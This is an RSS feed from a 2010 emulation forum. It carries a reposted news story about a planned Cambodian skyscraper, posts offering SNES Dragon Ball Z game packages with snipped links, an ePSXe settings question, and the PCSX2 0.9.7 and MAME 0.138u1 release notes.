<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[General Emulation Forums - All Forums]]></title>
		<link>http://www.generalemu.net/forums/</link>
		<description><![CDATA[General Emulation Forums - http://www.generalemu.net/forums]]></description>
		<pubDate>Fri, 03 Sep 2010 10:15:49 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Cambodia to build Asia’s tallest tower]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3836</link>
			<pubDate>Wed, 01 Sep 2010 18:14:07 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3836</guid>
			<description><![CDATA[<blockquote><cite>Quote:</cite>It would top the Taipei 101 Tower, the Shanghai World Financial Center and Petronas Towers<br />
<br />
By Reuters | Published Wednesday, September 01, 2010<br />
<br />
Cambodia is aiming for the record books with an ambitious plan to construct Asia's tallest building, a 555-metre skyscraper worth &#36;200 million, Prime Minister Hun Sen said on Wednesday.<br />
<br />
The building would be five times taller than the country's present highest structure, the new, 32-storey Canadia Bank Tower, which dominates the Phnom Penh skyline, where buildings of more than five floors stand out.<br />
<br />
If the project goes ahead, it would top the Taipei 101 Tower, the Shanghai World Financial Center and Kuala Lumpur's Petronas Towers -- the world's three tallest buildings after the 828-metre Burj Khalifa in Dubai.<br />
<br />
"It will be shorter than the one in Dubai and taller than any buildings in Asia, and I think we can do it," Hun Sen announced during a university graduation ceremony on Wednesday.<br />
<br />
"We don't have to be too conservative and we also don't need to be too outdated," Hun Sen added, brushing off criticism from cultural groups concerned that a construction boom was threatening the city's French colonial architecture.<br />
<br />
Hun Sen said the proposal had been made to the country's Land Management Ministry and local lender Canadia Bank would be involved in the project.<br />
<br />
However, real estate companies questioned whether there was much demand for a building half a kilometre high in the capital of one of Asia's poorest countries.<br />
<br />
"Where would the investors come from?" said Sung Bonna, CEO of Bonna Real Estate Group in Phnom Penh.<br />
<br />
"We are concerned about the shortage of demand and occupancy rates so we need time, but we hope this dream comes true."</blockquote>
<a href="http://www.emirates247.com/combodia-to-build-asia-s-tallest-tower-2010-09-01-1.286426" target="_blank">Combodia to build Asia&rsquo;s tallest tower - Emirates24|7</a><br />
<br />
I dont know how the hell they gonna build 555 stories skyscraper with just 200 million dollar I hope it is 2 billion. but maybe after the newly found of million tons of gold and billion barrel of oil and especially the new law that allow foreigner to own real estate in Cambodia makes this possible? O_O <br />
I will keep my eyes wide open on this. :dead::dead::dead:]]></description>
			<content:encoded><![CDATA[<blockquote><cite>Quote:</cite>It would top the Taipei 101 Tower, the Shanghai World Financial Center and Petronas Towers<br />
<br />
By Reuters | Published Wednesday, September 01, 2010<br />
<br />
Cambodia is aiming for the record books with an ambitious plan to construct Asia's tallest building, a 555-metre skyscraper worth &#36;200 million, Prime Minister Hun Sen said on Wednesday.<br />
<br />
The building would be five times taller than the country's present highest structure, the new, 32-storey Canadia Bank Tower, which dominates the Phnom Penh skyline, where buildings of more than five floors stand out.<br />
<br />
If the project goes ahead, it would top the Taipei 101 Tower, the Shanghai World Financial Center and Kuala Lumpur's Petronas Towers -- the world's three tallest buildings after the 828-metre Burj Khalifa in Dubai.<br />
<br />
"It will be shorter than the one in Dubai and taller than any buildings in Asia, and I think we can do it," Hun Sen announced during a university graduation ceremony on Wednesday.<br />
<br />
"We don't have to be too conservative and we also don't need to be too outdated," Hun Sen added, brushing off criticism from cultural groups concerned that a construction boom was threatening the city's French colonial architecture.<br />
<br />
Hun Sen said the proposal had been made to the country's Land Management Ministry and local lender Canadia Bank would be involved in the project.<br />
<br />
However, real estate companies questioned whether there was much demand for a building half a kilometre high in the capital of one of Asia's poorest countries.<br />
<br />
"Where would the investors come from?" said Sung Bonna, CEO of Bonna Real Estate Group in Phnom Penh.<br />
<br />
"We are concerned about the shortage of demand and occupancy rates so we need time, but we hope this dream comes true."</blockquote>
<a href="http://www.emirates247.com/combodia-to-build-asia-s-tallest-tower-2010-09-01-1.286426" target="_blank">Combodia to build Asia&rsquo;s tallest tower - Emirates24|7</a><br />
<br />
I dont know how the hell they gonna build 555 stories skyscraper with just 200 million dollar I hope it is 2 billion. but maybe after the newly found of million tons of gold and billion barrel of oil and especially the new law that allow foreigner to own real estate in Cambodia makes this possible? O_O <br />
I will keep my eyes wide open on this. :dead::dead::dead:]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Double Dragon V : The Shadow Falls]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3835</link>
			<pubDate>Fri, 27 Aug 2010 11:46:40 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3835</guid>
			<description><![CDATA[<span style="font-size: 28pt;"><span style="font-weight: bold;">Double dragon V : The Shadow Falls</span></span><br />
<br />
<a href="http://en.wikipedia.org/wiki/Double_Dragon_V:_The_Shadow_Falls" target="_blank">http://en.wikipedia.org/wiki/Double_Drag...adow_Falls</a><br />
<br />
<br />
*Image Snipped, linked to a disallowed site*<br />
<br />
<br />
<br />
No pass.<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Download:<br />
*Snipped*<br />
<br />
<br />
Emu:<br />
<br />
<br />
http://sharecash.org/download.php?file=1178071</code></div></div>
]]></description>
			<content:encoded><![CDATA[<span style="font-size: 28pt;"><span style="font-weight: bold;">Double dragon V : The Shadow Falls</span></span><br />
<br />
<a href="http://en.wikipedia.org/wiki/Double_Dragon_V:_The_Shadow_Falls" target="_blank">http://en.wikipedia.org/wiki/Double_Drag...adow_Falls</a><br />
<br />
<br />
*Image Snipped, linked to a disallowed site*<br />
<br />
<br />
<br />
No pass.<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Download:<br />
*Snipped*<br />
<br />
<br />
Emu:<br />
<br />
<br />
http://sharecash.org/download.php?file=1178071</code></div></div>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Dragon ball Z SNES series]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3834</link>
			<pubDate>Fri, 27 Aug 2010 09:17:35 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3834</guid>
			<description><![CDATA[<span style="color: #e50000;">There are two reviews of the two games from seven which are in the rar package. </span><br />
<br />
<span style="font-size: 28pt;"><span style="font-weight: bold;">Super Botouten 2</span></span><br />
<br />
Super Butouden 2 is the second best Dragon Ball Z fighting game I've played on the Super Famicon. It, of course, has a few flaws, but what game doesn't?<br />
<br />
Graphics: 8/10<br />
The graphics weren't the best I’ve ever seen, but still great nonetheless. The ki attacks all looked great, and all of the characters looked pretty cool. Goku looks kind of drunk, but again, they look just fine.<br />
<br />
Gameplay &amp; Control: 9/10<br />
The game has 3 main parts: a story mode, one-on-one, and the Tenkaichi Budoukai, which is a tournament. The story mode is very well done, with different characters, leading out to different paths. The 1 on 1 is pretty self-explanatory, as is the tournament. The controls in a fighting game are important, and SB2 has solid control with nice fast response.<br />
<br />
Music &amp; Sound Effects: 9/10<br />
The music is this game was great! Every character had their very own theme, as well as plenty of others, all of which were very well done. I especially enjoyed Piccolo's and Trunk's themes. The sound effects weren't stunning, but still good. My biggest complaint was those little screams when someone loses. ITS SO ANNOYING!!!<br />
<br />
Story: 8/10<br />
The story, obviously, is based on the story of Dragon Ball Z, and covers some important events. Not really much to say, since you would have to know DBZ. It could have covered a little bit more, though.<br />
<br />
Fun Factor: 8/10<br />
This game is pretty fun, considering that lots of fighting games get pretty boring. Some<br />
<br />
<br />
<img src="http://files.myopera.com/QAPOcVuetr/albums/646941/Dragon%20Ball%20Z%20-%20Super%20Butouden%202.jpg" border="0" alt="[Image: Dragon%20Ball%20Z%20-%20Super%20Butouden%202.jpg]" /><br />
<br />
<span style="font-size: 28pt;"><span style="font-weight: bold;"><br />
The legend of super sayian:</span></span><br />
<br />
DBZ: Legend of the Super Saiyan is a old game made for Super Famicon(aka Super Nintendo). It a RPG that completely follows the DBZ storyline(except to gain XP and all) so if your a DBZ fan you'll love it. It follows all the way up to when frezia is defeated. The game has a very unique yet easy to figure out battle system. You choose from 5 cards. The cards have 3 important things on them. The big symbol in the middle the symbols in the upper left and lower right. The middle symbol decides what style you attack in(If your characters special symbol matches ur card u do extra strong attack). The upper left is the attack and is messured in *'s, the higher the amount of *'s the better then attack. Defense is measured by lines like ~ until there are 3(goes into japanese symbols after). If your a DBZ fan you know how it ends. If not you chase Frezia around in multiple battles until Goku(the main hero) arives. Goku then defeats Frezia and its the end of the game.<br />
<br />
Graphics- 6.5- The graphics kind of make you go what the funk at some points if ur a DBZ fan.<br />
Game Play- 8.5- The game is fun but very short and you need a walkthrough if you dont have teh translated version.<br />
Originality- 10- Completely original. I havent played any game like it.<br />
Music- 7- But i rlly dont like most music in games<br />
Replay- 4- After beating it once it loses most of its fun.<br />
<br />
<br />
<img src="http://img206.imageshack.us/img206/7997/75706298zq6.png" border="0" alt="[Image: 75706298zq6.png]" /><br />
<img src="http://gfx.gaminator.pl/data/screen/1137/25/1045-2.jpg" border="0" alt="[Image: 1045-2.jpg]" /><img src="http://dbsa.pl/pliki/info/loss4.gif" border="0" alt="[Image: loss4.gif]" /><br />
<br />
Reviews from the Internet<br />
<br />
<br />
<br />
<br />
No pass.<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Download:<br />
*Snipped*<br />
<br />
<br />
Emu:<br />
<br />
<br />
http://sharecash.org/download.php?file=1178071</code></div></div>
]]></description>
			<content:encoded><![CDATA[<span style="color: #e50000;">There are two reviews of the two games from seven which are in the rar package. </span><br />
<br />
<span style="font-size: 28pt;"><span style="font-weight: bold;">Super Botouten 2</span></span><br />
<br />
Super Butouden 2 is the second best Dragon Ball Z fighting game I've played on the Super Famicon. It, of course, has a few flaws, but what game doesn't?<br />
<br />
Graphics: 8/10<br />
The graphics weren't the best I’ve ever seen, but still great nonetheless. The ki attacks all looked great, and all of the characters looked pretty cool. Goku looks kind of drunk, but again, they look just fine.<br />
<br />
Gameplay &amp; Control: 9/10<br />
The game has 3 main parts: a story mode, one-on-one, and the Tenkaichi Budoukai, which is a tournament. The story mode is very well done, with different characters, leading out to different paths. The 1 on 1 is pretty self-explanatory, as is the tournament. The controls in a fighting game are important, and SB2 has solid control with nice fast response.<br />
<br />
Music &amp; Sound Effects: 9/10<br />
The music is this game was great! Every character had their very own theme, as well as plenty of others, all of which were very well done. I especially enjoyed Piccolo's and Trunk's themes. The sound effects weren't stunning, but still good. My biggest complaint was those little screams when someone loses. ITS SO ANNOYING!!!<br />
<br />
Story: 8/10<br />
The story, obviously, is based on the story of Dragon Ball Z, and covers some important events. Not really much to say, since you would have to know DBZ. It could have covered a little bit more, though.<br />
<br />
Fun Factor: 8/10<br />
This game is pretty fun, considering that lots of fighting games get pretty boring. Some<br />
<br />
<br />
<img src="http://files.myopera.com/QAPOcVuetr/albums/646941/Dragon%20Ball%20Z%20-%20Super%20Butouden%202.jpg" border="0" alt="[Image: Dragon%20Ball%20Z%20-%20Super%20Butouden%202.jpg]" /><br />
<br />
<span style="font-size: 28pt;"><span style="font-weight: bold;"><br />
The legend of super sayian:</span></span><br />
<br />
DBZ: Legend of the Super Saiyan is a old game made for Super Famicon(aka Super Nintendo). It a RPG that completely follows the DBZ storyline(except to gain XP and all) so if your a DBZ fan you'll love it. It follows all the way up to when frezia is defeated. The game has a very unique yet easy to figure out battle system. You choose from 5 cards. The cards have 3 important things on them. The big symbol in the middle the symbols in the upper left and lower right. The middle symbol decides what style you attack in(If your characters special symbol matches ur card u do extra strong attack). The upper left is the attack and is messured in *'s, the higher the amount of *'s the better then attack. Defense is measured by lines like ~ until there are 3(goes into japanese symbols after). If your a DBZ fan you know how it ends. If not you chase Frezia around in multiple battles until Goku(the main hero) arives. Goku then defeats Frezia and its the end of the game.<br />
<br />
Graphics- 6.5- The graphics kind of make you go what the funk at some points if ur a DBZ fan.<br />
Game Play- 8.5- The game is fun but very short and you need a walkthrough if you dont have teh translated version.<br />
Originality- 10- Completely original. I havent played any game like it.<br />
Music- 7- But i rlly dont like most music in games<br />
Replay- 4- After beating it once it loses most of its fun.<br />
<br />
<br />
<img src="http://img206.imageshack.us/img206/7997/75706298zq6.png" border="0" alt="[Image: 75706298zq6.png]" /><br />
<img src="http://gfx.gaminator.pl/data/screen/1137/25/1045-2.jpg" border="0" alt="[Image: 1045-2.jpg]" /><img src="http://dbsa.pl/pliki/info/loss4.gif" border="0" alt="[Image: loss4.gif]" /><br />
<br />
Reviews from the Internet<br />
<br />
<br />
<br />
<br />
No pass.<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Download:<br />
*Snipped*<br />
<br />
<br />
Emu:<br />
<br />
<br />
http://sharecash.org/download.php?file=1178071</code></div></div>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[FF7 and ePSXe]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3816</link>
			<pubDate>Mon, 07 Jun 2010 17:36:17 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3816</guid>
			<description><![CDATA[Hello. I'm having trouble configuring the video settings for ePSXe for FF7. I've looked up other people's configurations and they always run too slowly, and I've tried trial and error fiddling with the options, but so far I haven't gotten rid of all of the lag. <br />
<br />
I'm running Windows 7, with an Intel Core 2 Duo Processor, and a Mobile Intel&reg; 4 Series Express Chipset Family graphics card.<br />
I've tried using various video plug-ins. Though I've been told to use Pete's D3D plugin, I've found the most success in making the battles stream well using Pete's Open GL, though the D3D does get rid of the lag in certain high volume areas like the Golden Saucer. Regardless, with both plugins, I can't seem to get the gameplay in the battles to be completely smooth.<br />
<br />
Essentially, I am more concerned about fluidity in the gameplay than I am about quality in the video presentation, and was wondering what the best settings might be for my computer. Thanks for any advice!]]></description>
			<content:encoded><![CDATA[Hello. I'm having trouble configuring the video settings for ePSXe for FF7. I've looked up other people's configurations and they always run too slowly, and I've tried trial and error fiddling with the options, but so far I haven't gotten rid of all of the lag. <br />
<br />
I'm running Windows 7, with an Intel Core 2 Duo Processor, and a Mobile Intel&reg; 4 Series Express Chipset Family graphics card.<br />
I've tried using various video plug-ins. Though I've been told to use Pete's D3D plugin, I've found the most success in making the battles stream well using Pete's Open GL, though the D3D does get rid of the lag in certain high volume areas like the Golden Saucer. Regardless, with both plugins, I can't seem to get the gameplay in the battles to be completely smooth.<br />
<br />
Essentially, I am more concerned about fluidity in the gameplay than I am about quality in the video presentation, and was wondering what the best settings might be for my computer. Thanks for any advice!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PCSX2 0.9.7 beta released - with new GUI!]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3815</link>
			<pubDate>Sat, 29 May 2010 16:32:41 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3815</guid>
			<description><![CDATA[An updated beta for PCSX2 has been released. This one features a hefty chunk of updates and changes, among others a new look.<br />
<br />
<blockquote><cite>Bositman Wrote:</cite>After more than a year since the last stable 0.9.6 release and 8 months since the last beta release of PCSX2, the new beta version is finally ready!<br />
The most notable change is the all new GUI powered by wxWidgets, but the amount of improvements in this release is really amazing Smile<br />
<br />
This 0.9.7 release is marked as unstable/beta, meaning it still has some known bugs and unimplemented features but it is fully supported by the PCSX2 team. For more info, check the included readme file.<br />
<br />
Without further delay, here's the extensive changelog:<br />
<br />
    * New GUI based on wxWidgets working on a separate thread<br />
    * microVU, an all new VU0/VU1/COP2 recompiler<br />
    * VIF rewritten and a new Vif Unpack recompiler<br />
    * IPU improvements, many more videos now play perfectly<br />
    * Stable full screen operation with GSdx<br />
    * Alt+Enter Hotkey for real-time fullscreen/window mode switching<br />
    * Many new emulation options, complete with tooltips<br />
    * New MTGS, much more efficient and compatible<br />
    * New BIOS skipping method, more compatible and correct<br />
    * New Host File System Support<br />
    * Turbo/Slow motion settings for the frame limiter<br />
    * On the fly changing of settings and plugins<br />
    * Threaded Saving/Loading states, so it does not pause gameplay<br />
    * Built in ISO reader with a recently used ISO list<br />
    * Suspend / Resume emulation safely and fast<br />
    * Simplified plugin configuration dialog, with more options<br />
    * Full DVD9 game support (for example God of War, Xenosaga, Gran Turismo 4 etc)<br />
    * First time configuration wizard<br />
    * Settings stored in your User documents folder by default to prevent Vista / Windows 7 permission issues<br />
    * New Game database detects the game you run, displays compatibility info, and auto applies special game fixes/patches if needed<br />
    * Cheats are now separate from patches, cheats can be placed in the "cheats" folder and enabled/disabled from pcsx2's file-menu<br />
    * Many important plugin updates, GSdx has many bugs and memory leaks fixed, SPU2-X makes dozens of games boot which never did before<br />
    * And a huge amount of improvements and bug fixes which we don't remember anymore<br />
<br />
<br />
<br />
This time the distribution will be a bit different. There are 3 versions, the full installer, the web installer and the binary. We highly recommend people to use our torrents to lower the load of our server and for faster distribution. You will need a torrent client such as utorrent to download them.<br />
<br />
Windows:<br />
Full installer [12.0mb]: <a href="http://forums.pcsx2.net/attachment.php?aid=23849" target="_blank">Torrent</a> | <a href="http://pcsx2.googlecode.com/files/pcsx2-r3113-setup.exe" target="_blank">Googlecode direct dl</a><br />
Web installer [2.88mb]: <a href="http://forums.pcsx2.net/attachment.php?aid=23850" target="_blank">Torrent</a> | <a href="http://pcsx2.googlecode.com/files/pcsx2-r3113-websetup.exe" target="_blank">Googlecode direct dl</a><br />
Binaries [2.92mb / 7zip]: <a href="http://forums.pcsx2.net/attachment.php?aid=23851" target="_blank">Torrent</a> | <a href="http://pcsx2.googlecode.com/files/PCSX2_0.9.7_%28r3113%29_Binaries.7z" target="_blank">Googlecode direct dl</a><br />
<br />
(NOTE: Full installer includes Microsoft Visual C++ Redistributables, which is ideal for offline installs of PCSX2. Web installer optionally fetches the Redists from Microsoft.com, if your computer doesn't already have them installed.)<br />
<br />
Linux binary [3.1mb]: <a href="http://forums.pcsx2.net/attachment.php?aid=23855" target="_blank">Torrent</a> | <a href="http://pcsx2.googlecode.com/files/pcsx2-r3119-linux-bin.tar.gz" target="_blank">Googlecode direct dl</a><br />
<br />
Source:<br />
<a href="http://forums.pcsx2.net/attachment.php?aid=23852" target="_blank">Torrent </a></blockquote>
<br />
Source: <a href="http://pcsx2.net/" target="_blank">pcsx2.net</a>]]></description>
			<content:encoded><![CDATA[An updated beta for PCSX2 has been released. This one features a hefty chunk of updates and changes, among others a new look.<br />
<br />
<blockquote><cite>Bositman Wrote:</cite>After more than a year since the last stable 0.9.6 release and 8 months since the last beta release of PCSX2, the new beta version is finally ready!<br />
The most notable change is the all new GUI powered by wxWidgets, but the amount of improvements in this release is really amazing Smile<br />
<br />
This 0.9.7 release is marked as unstable/beta, meaning it still has some known bugs and unimplemented features but it is fully supported by the PCSX2 team. For more info, check the included readme file.<br />
<br />
Without further delay, here's the extensive changelog:<br />
<br />
    * New GUI based on wxWidgets working on a separate thread<br />
    * microVU, an all new VU0/VU1/COP2 recompiler<br />
    * VIF rewritten and a new Vif Unpack recompiler<br />
    * IPU improvements, many more videos now play perfectly<br />
    * Stable full screen operation with GSdx<br />
    * Alt+Enter Hotkey for real-time fullscreen/window mode switching<br />
    * Many new emulation options, complete with tooltips<br />
    * New MTGS, much more efficient and compatible<br />
    * New BIOS skipping method, more compatible and correct<br />
    * New Host File System Support<br />
    * Turbo/Slow motion settings for the frame limiter<br />
    * On the fly changing of settings and plugins<br />
    * Threaded Saving/Loading states, so it does not pause gameplay<br />
    * Built in ISO reader with a recently used ISO list<br />
    * Suspend / Resume emulation safely and fast<br />
    * Simplified plugin configuration dialog, with more options<br />
    * Full DVD9 game support (for example God of War, Xenosaga, Gran Turismo 4 etc)<br />
    * First time configuration wizard<br />
    * Settings stored in your User documents folder by default to prevent Vista / Windows 7 permission issues<br />
    * New Game database detects the game you run, displays compatibility info, and auto applies special game fixes/patches if needed<br />
    * Cheats are now separate from patches, cheats can be placed in the "cheats" folder and enabled/disabled from pcsx2's file-menu<br />
    * Many important plugin updates, GSdx has many bugs and memory leaks fixed, SPU2-X makes dozens of games boot which never did before<br />
    * And a huge amount of improvements and bug fixes which we don't remember anymore<br />
<br />
<br />
<br />
This time the distribution will be a bit different. There are 3 versions, the full installer, the web installer and the binary. We highly recommend people to use our torrents to lower the load of our server and for faster distribution. You will need a torrent client such as utorrent to download them.<br />
<br />
Windows:<br />
Full installer [12.0mb]: <a href="http://forums.pcsx2.net/attachment.php?aid=23849" target="_blank">Torrent</a> | <a href="http://pcsx2.googlecode.com/files/pcsx2-r3113-setup.exe" target="_blank">Googlecode direct dl</a><br />
Web installer [2.88mb]: <a href="http://forums.pcsx2.net/attachment.php?aid=23850" target="_blank">Torrent</a> | <a href="http://pcsx2.googlecode.com/files/pcsx2-r3113-websetup.exe" target="_blank">Googlecode direct dl</a><br />
Binaries [2.92mb / 7zip]: <a href="http://forums.pcsx2.net/attachment.php?aid=23851" target="_blank">Torrent</a> | <a href="http://pcsx2.googlecode.com/files/PCSX2_0.9.7_%28r3113%29_Binaries.7z" target="_blank">Googlecode direct dl</a><br />
<br />
(NOTE: Full installer includes Microsoft Visual C++ Redistributables, which is ideal for offline installs of PCSX2. Web installer optionally fetches the Redists from Microsoft.com, if your computer doesn't already have them installed.)<br />
<br />
Linux binary [3.1mb]: <a href="http://forums.pcsx2.net/attachment.php?aid=23855" target="_blank">Torrent</a> | <a href="http://pcsx2.googlecode.com/files/pcsx2-r3119-linux-bin.tar.gz" target="_blank">Googlecode direct dl</a><br />
<br />
Source:<br />
<a href="http://forums.pcsx2.net/attachment.php?aid=23852" target="_blank">Torrent </a></blockquote>
<br />
Source: <a href="http://pcsx2.net/" target="_blank">pcsx2.net</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[MAME 0.138u1 released!]]></title>
			<link>http://www.generalemu.net/forums/showthread.php?tid=3814</link>
			<pubDate>Thu, 27 May 2010 04:15:19 -0700</pubDate>
			<guid isPermaLink="false">http://www.generalemu.net/forums/showthread.php?tid=3814</guid>
			<description><![CDATA[<blockquote><cite>Quote:</cite>0.138u1<br />
-------<br />
<br />
<br />
MAMETesters Bugs Fixed<br />
----------------------<br />
- 00948: [Graphics] batsugun: The ending and credits text is in gibberish <br />
         language. (David Haywood)<br />
- 03832: [Sound] monymony, jackrabt: Missing speech (couriersud)<br />
- 00946: [Graphics] batsugun, batsuguna, batsugunsp: Some graphics garbage <br />
         at level one start and first boss. (David Haywood)<br />
- 03445: [Crash/Freeze] znpwfv: Segmentation Fault (Angelo Salese)<br />
- 02642: [Crash/Freeze] myfairld: [possible] Black screen in Virtual <br />
         Mahjong 2 MFL (Angelo Salese)<br />
- 01009: [Crash/Freeze] grdforce: Test mode doesn't work. (Angelo Salese)<br />
- 03710: [Crash/Freeze] sokyugrt: Game crash after player select <br />
         (Angelo Salese)<br />
- 02567: [Color/Palette] All Sets in zaccaria.c: Minor color issues (hap)<br />
- 00799: [Graphics] monymony: Sprite priority is incorrect when the player <br />
         is pulled underwater. (hap)<br />
- 03474: [Sound] wilytowr: Background music is very low. (hap)<br />
- 03853: [Graphics] ssriders and clones: Sprites stuck error. (hap)<br />
- 03817: [Graphics] popflame + clones: Color regression (Angelo Salese)<br />
- 03816: [Crash/Freeze] popflame: The game resets after the third round. <br />
         (Angelo Salese)<br />
- 03852: [Gameplay] 20pacgal, 20pacgala: Severe slowdown after initials <br />
         are entered. (couriersud)<br />
- 03476: [Crash/Freeze] quartet, quarteta, dumpmtmt: Games do not start. <br />
         (Alex Jackson)<br />
<br />
<br />
<br />
Source Changes<br />
--------------<br />
Remove all references to the nonexistent "premov" instruction from the<br />
NEC-V core.  [Alex Jackson]<br />
<br />
Corrected stack walk by using UNICODE_POSTFIX.  Fixed some incorrect<br />
function declarations in winmain.c.  [Oliver Stoneberg]<br />
<br />
cps2: Made ssf2t a parent set [Alex Jackson]<br />
<br />
New driver: sigmab98.c [Luca Elia]<br />
<br />
astrocorp.c: Added PCB layout for Astro M1.1 &amp; M1.2 PCBs [Brian Troha]<br />
<br />
Documented an energy bar debug switch in aladbl, disabled by default<br />
[Angelo Salese]<br />
<br />
Fixed crashes when you fall into pitfalls in aladbl [Angelo Salese]<br />
<br />
Improved Z180 timer and HALT processing. This fixes MT03852.<br />
[Couriersud]<br />
<br />
Konami devices: Fixed sprite Z code rejection regression [hap]<br />
<br />
Basic hook-ups of the Nintendo Super System BIOS [Angelo Salese]<br />
<br />
namcos2: Optimized pixmap rotation, improving performance of Assault<br />
and other games that use it [Bryan Ischo]<br />
<br />
tecmo.c: Included Rygar PCB documentation [Guru]<br />
<br />
Documented and worked around a long standing level 3 protection fault<br />
in Pop Flamer [Angelo Salese]<br />
<br />
Rewritten palette initialization in Naughty Boy HW by using the RESNET<br />
[Angelo Salese]<br />
<br />
Rewrote Z180 cycle accounting to create a basis for more exact<br />
internal I/O and timer operations as well as implementing interrupt<br />
priorities. Removed unused BIG_SWITCH code as well. [Couriersud]<br />
<br />
MPU4 Updates [James Wallace]:<br />
 * Added trackball support<br />
 * Fixed quiz game controls<br />
 * Restructured AWP games' characteriser handling<br />
<br />
Added photo y2k2 decryption table [iq132]<br />
<br />
Improved Z180 interrupt and timer handling. Added some missing save<br />
state entries and fixed HALT. [Couriersud]<br />
<br />
Rewrote rom/ram banking. 20pacgal now supports save state.<br />
[Couriersud]<br />
<br />
Added DIP LOCATIONS to Pengo, Jr. Pac-Man and clones.  [Tafoid]<br />
<br />
zaccaria.c: Improved sprite drawing, added DIP locations [hap]<br />
<br />
Ported Super Famicom Box from MESS to MAME [Angelo Salese] <br />
<br />
Modified the naomi clipping a bit to avoid so many black lines <br />
at the bottom [David Haywood]<br />
<br />
New Super 3D Golf Simulation - Waialae No Kiseki / Super Mahjong 2<br />
(Super Famicom Box) [Angelo Salese]<br />
<br />
Removed Groove on Fight boot hack, not anymore needed [Angelo Salese]<br />
<br />
Added x/y boundary checking to ST-V bitmaps [Angelo Salese]<br />
<br />
atarigx2.c: More rom name corrections as verified against a Moto<br />
Frenzy Mini Deluxe PCB. Added ROM for the "Clarn" game link sub PCB.<br />
[Charles MacDonald, P. Sealy, Smitdogg, The Dumping Union]<br />
<br />
Added lfsr-driven starfield to 20pacgal. The general principle is<br />
understood now but star set selection and the star drawing condition<br />
are guesses. [Couriersud]<br />
<br />
Moved global and static variables in driver galaga into a machine<br />
class. Renamed some variables, e.g. galaga_videoram and bosco_videoram<br />
to just videoram. [Couriersud]<br />
<br />
Added new DECO Cassette bios set and updated rom names/locations/types<br />
to be more accurate. [Lord Nightmare, The Dumping Union]<br />
<br />
micro3d.c : Added some PLD dumps to botssa [Phil Bennett, Smitdogg]<br />
<br />
Removed unneeded danchih title screen hack [Angelo Salese]<br />
<br />
Reverified TMS5200 clock and measured Vsync clocks from Zaccaria<br />
hardware [Corrado Tomaselli]<br />
<br />
Added debug_global_input_code_pressed_once() function to input.c<br />
[Angelo Salese]<br />
<br />
Added a readyq callback to the TMS5220 interface. This is needed to<br />
solve MT #3832. In zaccaria games, the intq and readyq are connected<br />
to pia 6821 lines ca2 and cb1 which are edge driven. Just reading<br />
readyq would miss to detect a state change if between reads readyq<br />
went 0-1-0. Updated zaccaria.c and looping.c. Fixes MT #3832.<br />
[Couriersud]<br />
<br />
Reworked rendering in toaplan2 to render tilemaps / sprites in a<br />
single pass, should be more accurate to hardware. Note, this further<br />
breaks the mixing in Batsugun and Dogyuun because the previous hacks<br />
can no longer work with the new rendering code. These games have been<br />
demoted to NOT_WORKING status until a better solution is found; they<br />
never worked properly anyway due to the extent of the video hacks<br />
needed to support them [David Haywood]<br />
<br />
documentation: Cleaned up company names [hap]<br />
<br />
Added NSC800 CPU emulation to the Z80 core [Sandro Ronco]<br />
<br />
Updated Legendary Wings with actual PCB speed readings.<br />
[Corrado Tomaselli]<br />
<br />
Update decocass comments/bios names with more info from D.Widel's<br />
page. [Lord Nightmare, David Widel]<br />
<br />
toaplan2: fixed sprite-sprite priorities in batsugun and dogyuun<br />
[robiza]<br />
<br />
Added bare-bones work around for the Network board in Super GT 24h and<br />
Over Rev, they now enters into attract mode [Angelo Salese]<br />
<br />
Revision 9295 by rbelmont<br />
SDL: fix compilation for GTK+ 2.20 and later [R. Belmont, Wingman]<br />
<br />
<br />
<br />
New games added or promoted from NOT_WORKING status<br />
---------------------------------------------------<br />
GeGeGe no Kitarou Youkai Slot<br />
  [A. Hoekman, ranger_lennier, Smitdogg, The Dumping Union, Luca Elia]<br />
Video Carnival / Super Royal Card [f205v, Angelo Salese]<br />
Mouse Attack [Phil Bennett, Smitdogg]<br />
Super Game III [Mariusz Wojcieszek, Guru]<br />
<br />
<br />
<br />
New clones added<br />
----------------<br />
Golden Tee 2K (v1.00) (alt protection) [Guru, Brian Troha]<br />
1943 (Euro) [Stefan Lindberg]<br />
Fantasy Zone (NEC 0317-5000 encrypted Z80)<br />
  [Cools, Andrew Welburn, The Dumping Union]<br />
X-Men Vs. Street Fighter (Asia 960910) [ANY, The Dumping Union]<br />
X Multiply (Japan, M81) [hap, porchy]<br />
The Crystal Maze (2 sets) [James Wallace]<br />
The Crystsl Maze Team Challenge (2 sets) [James Wallace]<br />
The New Crystal Maze Featuring Ocean Zone (2 sets) [James Wallace]<br />
Road Riot's Revenge (prototype, set 3) [Siftware]<br />
Indoor Soccer (set 2) [Siftware]<br />
Ms. Pacman Champion Edition / Zola-Puc Gal<br />
  [Andrew Welburn, The Dumping Union]<br />
Heavyweight Champ (Japan, FD1094) [Team Japump, Dumping Union]<br />
Super Draw Poker (bootleg) [f205v]<br />
Ms. Pac-Man/Galaga - 20 Year Reunion (2 sets) <br />
  [Brian Troha, The Dumping Union]<br />
<br />
